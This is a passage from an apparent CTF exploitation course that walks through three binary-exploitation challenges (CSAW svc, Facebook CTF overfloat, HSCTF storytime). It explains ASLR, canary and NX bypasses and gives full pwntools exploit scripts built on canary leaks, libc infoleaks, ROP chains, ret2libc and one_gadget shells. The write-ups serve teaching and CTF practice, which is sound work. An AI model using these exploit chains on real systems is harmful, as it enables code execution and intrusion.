The next step will be to defeat ASLR. ASLR is a mitigation that will essential randomize the addresses sections of memory are in. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance in the libc (libc is where all of the standard functions like `puts`, `printf`, and `fgets` are stored most of the time) the address of `puts` and `system` will be different every time we run the program. However the offset between them will not be. So if we leak the address of `puts`, we can just add / subtract the offset to `system` and we will have the address of `system`. So we just need to leak a single address from a memory space (that we know what that memory address points to) in order to break ASLR in that region.

Let's take a look at all of the different memory regions in gdb with the `vmmap` command while the program is running:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/csaw/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/csaw/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/csaw/svc
0x0000000000603000 0x0000000000635000 0x0000000000000000 rw- [heap]
0x00007ffff716c000 0x00007ffff7182000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7182000 0x00007ffff7381000 0x0000000000016000 --- /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7381000 0x00007ffff7382000 0x0000000000015000 rw- /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7382000 0x00007ffff748a000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff748a000 0x00007ffff7689000 0x0000000000108000 --- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff7689000 0x00007ffff768a000 0x0000000000107000 r-- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff768a000 0x00007ffff768b000 0x0000000000108000 rw- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff768b000 0x00007ffff784b000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff784b000 0x00007ffff7a4b000 0x00000000001c0000 --- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a4b000 0x00007ffff7a4f000 0x00000000001c0000 r-- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a4f000 0x00007ffff7a51000 0x00000000001c4000 rw- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a51000 0x00007ffff7a55000 0x0000000000000000 rw-
0x00007ffff7a55000 0x00007ffff7bc7000 0x0000000000000000 r-x /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bc7000 0x00007ffff7dc7000 0x0000000000172000 --- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dc7000 0x00007ffff7dd1000 0x0000000000172000 r-- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd1000 0x00007ffff7dd3000 0x000000000017c000 rw- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fde000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
```

So we can see all of the memory regions here. The memory region I am going to break ASLR in is the `libc-2.23.so` region starting at `0x00007ffff768b000` and ending at

`0x00007ffff784b000`. There are two resons for this. The first is that if we leak an address in this region, it will give us access to a lot of gadgets so we can do a lot of things with our code. The second is that we can get an infoleak in this region. Looking at the imported functions in Ghidra, we can see that `puts` is an imported function. Puts will print the data pointed to by a pointer it is handed, until it reaches a null byte. The GOT table is a section of memory in the elf that holds various libc addresses. It does this so the binary knows where it can find those addresses, since it doesn't know what they will be when it compiles. Since PIE is disabled, the GOT entry addresses aren't randomized and we know what they are. So if we were to pass the GOT entry address for `puts` to `puts` (which we can call since it is an imported function, meaning it is compiled into the binary, and we know it's address because there is no pie) we will get the libc address of `puts`.

Also a quick tangent, pie (position independent executable) essentially means there is ASLR for addresses in the elf. For this binary that would include these regions. If this was enabled and we wanted to do what we are doing with the `puts` infoleak, we would need another infoleak in this region:

```
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/course
/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/course
/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/course
/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc
```

To do this infoleak, we will need three things. The plt address of `puts` (address of the imported function which we will use to call it), the address of the got entry of `puts` (holds the libc address), and a rop gadget to pop the got entry into the `rdi` register, and then return. Since `puts` expects it's input (a single char pointer) in the `rdi` register, that is where we need to place it. To find the `plt` and `got` addresses, we can just use pwntools:

```
$ python
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> elf = ELF('svc')
[*] '/Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> print "plt address: " + hex(elf.symbols['puts'])
plt address: 0x4008cc
>>> print "got address: " + hex(elf.got['puts'])
got address: 0x602018
```

To find the rop gadget we need, we can use a ROP gadget finding utillity called ROPGadget (https://github.com/JonathanSalwan/ROPgadget):

```
$ python ROPgadget.py --binary svc | grep "pop rdi"
0x0000000000400ea3 : pop rdi ; ret
```

The last mitigation we will overcome is the Non-Executable Stack. This essentially means that the stack does not have the execute permission. So we cannot execute code on the stack. Our method to bypass this will be using a mix of a simple ROP chain, and a ret2libc (return to libc) attack. ROP (return oriented programming) is when we essentially take bits of code that is already in the binary, and stich them together to make code that does what we want. It will be comprised of ROP gadgets, which are essentially pointers to bits of code that end in a `ret` instruction, which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be marked as executable and we won't have any issues. Also a fun side not, if we were to make a ROP gadget that jumps in the middle of an instruction, it would completely change what the instruction does.

One more thing, since our exploit relies off of the libc memory region, the version of libc running will make a bit of a difference with the exploit's offsets. It isn't anything too big, but you will need to make a few changes. If you are running a different libc version than what I am, your offsets here should be different. To see what libc version you are running, you can use the `vmmap` command:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /Hackery/csaw/svc
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /Hackery/csaw/svc
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /Hackery/csaw/svc
0x0000000000603000 0x0000000000635000 0x0000000000000000 rw- [heap]
0x00007ffff716c000 0x00007ffff7182000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7182000 0x00007ffff7381000 0x0000000000016000 --- /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7381000 0x00007ffff7382000 0x0000000000015000 rw- /lib/x86_64-linux-
gnu/libgcc_s.so.1
0x00007ffff7382000 0x00007ffff748a000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff748a000 0x00007ffff7689000 0x0000000000108000 --- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff7689000 0x00007ffff768a000 0x0000000000107000 r-- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff768a000 0x00007ffff768b000 0x0000000000108000 rw- /lib/x86_64-linux-
gnu/libm-2.23.so
0x00007ffff768b000 0x00007ffff784b000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff784b000 0x00007ffff7a4b000 0x00000000001c0000 --- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a4b000 0x00007ffff7a4f000 0x00000000001c0000 r-- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a4f000 0x00007ffff7a51000 0x00000000001c4000 rw- /lib/x86_64-linux-
gnu/libc-2.23.so
0x00007ffff7a51000 0x00007ffff7a55000 0x0000000000000000 rw-
0x00007ffff7a55000 0x00007ffff7bc7000 0x0000000000000000 r-x /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bc7000 0x00007ffff7dc7000 0x0000000000172000 --- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dc7000 0x00007ffff7dd1000 0x0000000000172000 r-- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd1000 0x00007ffff7dd3000 0x000000000017c000 rw- /usr/lib/x86_64-
linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7fd8000 0x00007ffff7fde000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-
gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
```

Here we can see that the libc file is `/lib/x86_64-linux-gnu/libc-2.23.so`. Now there are three offsets we need to find from the base of libc. Those are for `system`, `puts` (we will subtract this offset from the libc puts address to get it's base), and the string `/bin/sh`. We can do that by hand with a bit. First grab the addresses of the things we need in memory:

```
gef➤  p puts
$1 = {<text variable, no debug info>} 0x7ffff76fa690 <_IO_puts>
gef➤  p system
$2 = {<text variable, no debug info>} 0x7ffff76d0390 <__libc_system>
gef➤  search-pattern /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/x86_64-linux-gnu/libc-2.23.so'(0x7ffff768b000-0x7ffff784b000),
permission=r-x
  0x7ffff7817d57 - 0x7ffff7817d5e  →   "/bin/sh"
```

Then subtract the base address of the memory region from the addresses to get the offset:

```
>>> hex(0x7ffff76fa690 - 0x00007ffff768b000)
'0x6f690'
>>> hex(0x7ffff76d0390 - 0x00007ffff768b000)
'0x45390'
>>> hex(0x7ffff7817d57 - 0x00007ffff768b000)
'0x18cd57'
```

One last thing I need to say about this exploit. I mentioned earlier that our strategy is to first leak the stack canary, then overflow the return address with a simple ROP chain that will give us a libc infoleak, then loop back around to the start of menu so we can re-exploit the bug with a libc infoleak. When we re-exploit it a second time, we will use the libc infoleak to just call `system` with the argument `/bin/sh` (both in the libc) to give us a shell. The particular address we will loop back to will be `0x400a96` (the start of `menu`), sometimes it's a bit more tricky than that but not now.

Putting it all together, we get the following exploit:

```
# Import pwntools
from pwn import *

target = process("./svc")
gdb.attach(target)

elf = ELF('svc')


# 0x0000000000400ea3 : pop rdi ; ret
popRdi = p64(0x400ea3)

gotPuts = p64(0x602018)
pltPuts = p64(0x4008cc)

offsetPuts = 0x6f690
offsetSystem = 0x45390
offsetBinsh = 0x18cd57
#offsetPuts = 0x83cc0
#offsetSystem = 0x52fd0
#offsetBinsh = 0x1afb84

startMain = p64(0x400a96)

# Establish fucntions to handle I/O with the target
def feed(data):
  print target.recvuntil(">>")
  target.sendline('1')
  print target.recvuntil(">>")
  target.send(data)

def review():
  print target.recvuntil(">>")
  target.sendline('2')
  #print target.recvuntil("[*]PLEASE TREAT HIM
WELL.....\n-------------------------\n")
  #leak =
target.recvuntil("-------------------------").replace("-------------------------"
"")
  print target.recvuntil("0"*0xa9)
  canaryLeak = target.recv(7)
  canary = u64("\x00" + canaryLeak)
  print "canary is: " + hex(canary)
  return canary

def leave():
  print target.recvuntil(">>")
  target.sendline("3")

# Start of with the canary leak. We will overflow the buffer write up to the
stack canary, and overwrite the least signifcant byte of the canary
leakCanary = ""
```

```
leakCanary += "0"*0xa8 # Fill up space up to the canary
leakCanary += "0" # Overwrite least significant byte of the canary



feed(leakCanary) # Execute the overwrite

canary = review() # Leak the canary, and parse it out

# Start the rop chain to give us a libc infoleak
leakLibc = ""
leakLibc += "0"*0xa8 # Fill up space up to the canary
leakLibc += p64(canary) # Overwrite the stack canary with itself
leakLibc += "1"*0x8 # 8 more bytes until the return address
leakLibc += popRdi # Pop got entry for puts in rdi register
leakLibc += gotPuts # GOT address of puts
leakLibc += pltPuts # PLT address of puts
leakLibc += startMain # Loop back around to the start of main

# Send the payload to leak libc
feed(leakLibc)

# Return to execute our code
leave()

# Scan in and parse out the infoleak

print target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a")

putsLeak = target.recvline().replace("\x0a", "")

putsLibc = u64(putsLeak + "\x00"*(8-len(putsLeak)))

# Calculate the needed addresses

libcBase = putsLibc - offsetPuts
systemLibc = libcBase + offsetSystem
binshLibc = libcBase + offsetBinsh

print "libc base: " + hex(libcBase)

# Form the payload to return to system

payload = ""
payload += "0"*0xa8
payload += p64(canary)
payload += "1"*0x8
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's
argument (single char pointer)
payload += p64(binshLibc) # Address to '/bin/sh'
payload += p64(systemLibc) # Libc address of system

# Send the final payload
```

```
feed(payload)

target.sendline("3")

#feed(payload)

# Return to execute our code, return to system and get a shell
#leave()

target.interactive()
```

Facebook CTF 2019 Overfloat

This challenge was a team effort, my fellow Nasa Rejects team mate qw3rty01 helped me out with tthis one.

One thing about this challenge, it is supposed to be done with the `libc-2.27.so`, which is the default libc version for Ubuntu `18.04`. You can check what libc version is loaded in by checking the memory mappings with in gdb with the `vmmap` command. If it isn't the default, you will need to so something like using ptrace to switch the libc version, or adjust the offsets to match your own libc file.

Let's take a look at the binary:

```
$       file overfloat
overfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped
$       pwn checksec overfloat
[*] '/Hackery/fbctf/overfloat/dist/overfloat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

So we can see that it we are given a `64` bit dynamically linked binary, with a non-executable stack. In addition to that we are give the libc file `libc-2.27.so`. Running the program we see that it prompts us for latitude / longtitude pairs:

```
$       ./overfloat
                                 _ .--.
                                ( `    )
                             .-'      `--,
                  _..----.. (             )`-.
                .'_|` _|` _|(  .__,           )
               /_|  _|  _|  _(        (_,  .-'
              ;|  _|  _|  _|  '-'__,--'`--'
              | _|  _|  _|  _| |
          _   ||  _|  _|  _|  _|
        _( `--.\_|  _|  _|  _|/
     .-'       )--,|  _|  _|.`
    (__, (_      ) )_|  _| /
      `-.__.\ _,--'\|__|__/
                    ;____;
                     \YT/
                      ||
                     |""|
                     '=='

WHERE WOULD YOU LIKE TO GO?
LAT[0]: 4
LON[0]: 2
LAT[1]: 8
LON[1]: 4
LAT[2]: 2
LON[2]: 8
LAT[3]: Too Slow! Sorry :(
```

When we look at the main function in Ghidra, we see this code:

```
undefined8 main(void)

{
  undefined charBuf [48];

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  alarm(0x1e);
  __sysv_signal(0xe,timeout);
  puts(
      "                                _ .--.        \n
( `    )      \n                            .-\'      `--,     \n
_..----.. (           )`-. \n                 .\'_|` _|` _|(  .__,          )\n
/_|  _|  _|  _(       (_,  .-\' \n              ;|  _|  _|  _|  \'-\'__,--
\'`--\'    \n              | _|  _| _|  _| |               \n         _   ||
_|  _|  _|  _|              \n        _( `--.\\_| _|  _|  _|/              \n
.-\'      )--,|  _|  _|.`                 \n    (__, (_     ) )_|  _| /
\n      `-.__.\\ _,--\'\\|__|__/                 \n                  ;____;
\n                    \\YT/                    \n                    ||
\n                    |\"\"|                    \n                    \'==\'
\n\nWHERE WOULD YOU LIKE TO GO?"
      );
  memset(charBuf,0,0x28);
  chart_course(charBuf);
  puts("BON VOYAGE!");
  return 0;
}
```

Looking through the code here, we see that the part we are really interested about is `chart_course` function call, which takes the pointer `charBuf` as an argument. When we look at the `chart_course` disassembly in Ghidra, we see this:

```
void chart_course(long ptr)

{
  int doneCheck;
  uint uVar1;
  double float;
  char input [104];
  uint lat_or_lon;

  lat_or_lon = 0;
  do {
    if ((lat_or_lon & 1) == 0) {
      uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10;
      printf("LAT[%d]: ",(ulong)uVar1,(ulong)uVar1);
    }
    else {
      uVar1 = ((int)(lat_or_lon + (lat_or_lon >> 0x1f)) >> 1) % 10;
      printf("LON[%d]: ",(ulong)uVar1,(ulong)uVar1,(ulong)uVar1);
    }
    fgets(input,100,stdin);
    doneCheck = strncmp(input,"done",4);
    if (doneCheck == 0) {
      if ((lat_or_lon & 1) == 0) {
        return;
      }
      puts("WHERES THE LONGITUDE?");
      lat_or_lon = lat_or_lon - 1;
    }
    else {
      float = atof(input);
      memset(input,0,100);
      *(float *)(ptr + (long)(int)lat_or_lon * 4) = (float)float;
    }
    lat_or_lon = lat_or_lon + 1;
  } while( true );
}
```

Looking at this function, we can see that it essentially scans in data as four byte floats into the char ptr that is passed to the function as an argument. It does this by scanning in `100` bytes of data into `input`, converting it to a float stored in `float`, and then setting `ptr + (x * 4)` equal to `float` (where `x` is equal to the amount of floats scanned in already). There is no checking to see if it overflows the buffer, and with that we have a buffer overflow.

That is ran within a do while loop, that on paper can run forever (since the condition is while(true)). However there the termination condition is if the first four bytes of our input is `done`. Keep in mind that the buffer that we are overflowing is from the stack in `main`, so we need to return from the main function before getting code exeuction.

Also there is functionallity which will swap between prompting us for either `LAT` or `LON`, and which one in the sequence there is. However this doesn't affect us too much.

Now we need to exploit the bug. In the main function since `charBuf` is the only thing on the stack, there is nothing between it and the saved base pointer. Add on an extra `8` bytes for the saved base pointer to the `48` bytes for the space `charBuf` takes up and we get `56` bytes to reach the return address. Now the question is what code do we execute? I decided to go with a ROP Chain using gagdets and imported functions from the binary, since PIE isn't enabled so we don't need an infoleak to do this. However the binary isn't too big so we don't have the gadgets we would need to pop a shell.

To counter this, I would just setup a `puts` call(since `puts` is an imported function, we can call it) with the got address of `puts` to give us a libc infoleak, then loop back around by calling the start of `main` which would allow us to exploit the same bug again with a libc infoleak. Then we can just write a onegadget to the return address to pop a shell.

Now we need to setup the first part of the infoleak. First find the plt address of puts `0x400690`:

```
objdump -D overfloat | grep puts
0000000000400690 <puts@plt>:
  400690:       ff 25 8a 19 20 00       jmpq   *0x20198a(%rip)        # 602020
<puts@GLIBC_2.2.5>
  400846:       e8 45 fe ff ff          callq  400690 <puts@plt>
  400933:       e8 58 fd ff ff          callq  400690 <puts@plt>
  4009e8:       e8 a3 fc ff ff          callq  400690 <puts@plt>
  400a14:       e8 77 fc ff ff          callq  400690 <puts@plt>
```

Next find the got entry address for puts:

```
$       objdump -R overfloat | grep puts
0000000000602020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
```

Finally we just need to gadget to pop an argument into the `rdi` register than return:

```
$       python ROPgadget.py --binary overfloat | grep "pop rdi"
0x0000000000400a83 : pop rdi ; ret
```

Also for the loop around address, I just tried the start of main and it worked. After we get the libc infoleak we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget. I just tried the first one and it worked (I decided to go with guess and check instead of checking the conditions when the gadget would be executed):

```
$       one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
```

With that we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, we have to jump through a few hoops in order to get our inputs correct:

```python
from pwn import *
import struct

# Establish values for the rop chain
putsPlt = 0x400690
putsGot = 0x602020
popRdi = 0x400a83

startMain = 0x400993
oneShot = 0x4f2c5

# Some helper functions to help with the float input
# These were made by qw3rty01
pf = lambda x: struct.pack('f', x)
uf = lambda x: struct.unpack('f', x)[0]

# Establish the target, and the libc file
target = remote("challenges.fbctf.com", 1341)
#target = process('./overfloat')
#gdb.attach(target)

# If for whatever reason you are usign a different libc file, just change it out
here and it should work
libc = ELF('libc-2.27.so')

# A helper function to send input, made by a team mate
def sendVal(x):
    v1 = x & ((2**32) - 1)
    v2 = x >> 32
    target.sendline(str(uf(p32(v1))))
    target.sendline(str(uf(p32(v2))))

# Fill up the space between the start of our input and the return address
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Send the rop chain to print libc address of puts
# then loop around to the start of main

sendVal(popRdi)
sendVal(putsGot)
sendVal(putsPlt)
sendVal(startMain)

# Send done so our code executes
target.sendline('done')

# Print out the target output
print target.recvuntil('BON VOYAGE!\n')

# Scan in, filter out the libc infoleak, calculate the base
leak = target.recv(6)
```

```
leak = u64(leak + "\x00"*(8-len(leak)))
base = leak - libc.symbols['puts']

print "libc base: " + hex(base)

# Fill up the space between the start of our input and the retun address
# For the second round of exploiting the bug
for i in xrange(7):
    sendVal(0xdeadbeefdeadbeef)

# Overwrite the return address with a onegadget
sendVal(base + oneShot)

# Send done so our rop chain executes
target.sendline('done')

target.interactive()
```

hs 2019 storytime

Let's take a look at the binary:

```
$    file storytime
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped
$    pwn checksec storytime
[*] '/Hackery/hs/storytime/storytime'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
15935728
```

So we are dealing with a `64` bit dynamically linked binary that has a non-executable stack. When we run it, it prompts us for input. Let's look at the main function in Ghidra:

```
undefined8 main(void)

{
  undefined input [48];

  setvbuf(stdout,(char *)0x0,2,0);
  write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
  write(1,"Tell me a story: \n",0x12);
  read(0,input,400);
  return 0;
}
```

So we can see that it starts out by printing some data with the `write` function. Proceeding that it will scan in `400` bytes of data into `input` (which can only hold `48` bytes), and give us a buffer overflow. There is no stack canary, so there isn't anything stopping us from executing code. The question is, what will we execute?

Looking under the imports in Ghidra, we can see that our imported functions are `read`, `write`, and `setvbuf`. Since PIE is not enabled, we can call any of these functions. Also since the elf is dynamically linked (and a pretty small binary), we don't have a lot of gadgets. My plan to go about getting a shell has two parts. The first part is getting a libc infoleak with a `write` function that writes to `stdout (1`), then loop back again to a vulnerable read call and overwrite the return address with a onedgadget. A onegadget is essentially a single ROP gadget that can be found in the libc, that if the right conditions are meant when it is ran, it will give you a shell (the project for the onegadget finder can be found at: https://github.com/david942j/one_gadget).

The issue with this is we don't know what version of libc is running on a server. For this I looked at what libc version they gave out for other challenges and guessed and checked. After a bit I found that it was libc version `libc.so.6`. However before I did that I got it working locally with my own libc. To see what libc file your binary is loaded with, and where the file is stored, you can just run the `vmmap` command in gdb while the binary is running:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery
/hs/storytime/storytime
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery
/hs/storytime/storytime
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery
/hs/storytime/storytime
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

Also the indication I used to see if I had the right libc version (doesn't work 100% of the time), but when I would try and calculate the base of the libc using offsets, it ended with several zeros that would usually be a good indication.

Now back to the exploitation. There are `0x38` bytes between the start of our input and the return address (`48` for the size of the char buffer, and `8` for the saved base pointer). Now for the write libc infoleak we will need the `rdi` register to have the value `0x1` to specify the stdout file handle, `rsi` to have the address of the got entry for write (since that will give us the libc address for write), and `rdx` to have a value greater than or equal to `8` (to leak the address). Also since PIE isn't enabled, we know the address of the got entry without a PIE infoleak. Looking at the assembly code leading up to the `ret` instruction which gives us code execution, we can see that the `rdx` register is set to `0x190` which will fit our needs.

```
        00400684 ba 90 01        MOV        EDX,0x190
                 00 00
        00400689 48 89 c6        MOV        RSI,RAX
        0040068c bf 00 00        MOV        EDI,0x0
                 00 00
        00400691 e8 1a fe        CALL       read
 ssize_t read(int __fd, void * __
                 ff ff
        00400696 b8 00 00        MOV        EAX,0x0
                 00 00
        0040069b c9              LEAVE
        0040069c c3              RET
```

Now for the got entry of `write` in the `rsi` register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the `r15` register, however we just need to include another 8 byte qword in our rop chain for that so it really doesn't affect much:

```
$    python ROPgadget.py --binary storytime | grep rsi
0x0000000000400701 : pop rsi ; pop r15 ; ret
```

For the last register (the `1` in `rdi`) I settled this with where we jumped back to. Instead of calling `write` , I just jumped to `0x400601` which is in the middle of the `end` function:

```
void end(void)

{
  write(1,"The End!\n",0x28);
  return;
}
```

Specifically the instruction we jump back to will mov `0x1` into the `edi` register then call `write` , which will give us our infoleak:

```
        00400606 e8 95 fe        CALL       write
 ssize_t write(int __fd, void * _
                 ff ff
        0040060b 90              NOP
        0040060c 5d              POP        RBP
        0040060d c3              RET
```

Then it will return and continue on with our rop chain. However before it does that, it will pop a value off of our chain into the `rbp` register so we will need to include a filler 8 byte qword in our rop chain at that point. For where to jump to, I choose `0x40060e` , since it is the beginning of the `climax` function which gives us a buffer overflow where we can overwrite the return address with a onegadget and pop a shell.

```
void climax(void)

{
  undefined local_38 [48];

  read(0,local_38,4000);
  return;
}
```

Also to find the onegadget, we can just use the onegaget finder like this to find the offset from the base of libc. To choose which one to use, I normally just guess and check instead of checking the conditions at runtime (I find it a bit faster):

```
$    one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Putting it all together, we get the following exploit. If you want to run it locally with a different version of libc, you can either swap it out with something like `LD_PRELOAD`, or just switch the `libc` variable to point to the libc version you're using. If you do do that, you will also need to update the one_gadget offset too:

```
from pwn import *

# Establisht the target
#target = process('./storytime')
#gdb.attach(target, gdbscript = 'b *0x40060e')
target = remote("pwn.hsctf.com", 3333)

# Establish the libc version
libc = ELF('libc.so.6')
#libc = ELF('libc-2.27.so')


#0x0000000000400701 : pop rsi ; pop r15 ; ret
popRsiR15 = p64(0x400701)

# Got address of write
writeGot = p64(0x601018)

# Filler to reach the return address
payload = "0"*0x38

# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x3030303030303030) # Filler value will be popped into r15

# Right before write call in end
payload += p64(0x400601)

# Filler value that will be popped off in end
payload += p64(0x3030303030303030)

# Address of climax, we will exploit another buffer overflow to use the rop
gadget
payload += p64(0x40060e)

# Send the payload
target.sendline(payload)

# Scan in some of the output
print target.recvuntil("Tell me a story: \n")

# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print hex(base)

# Calculate the oneshot gadget
oneshot = base + 0x4526a

# Make the payload for the onshot gadget
payload = "1"*0x38 + p64(oneshot)
```

```
# Send it and get a shell
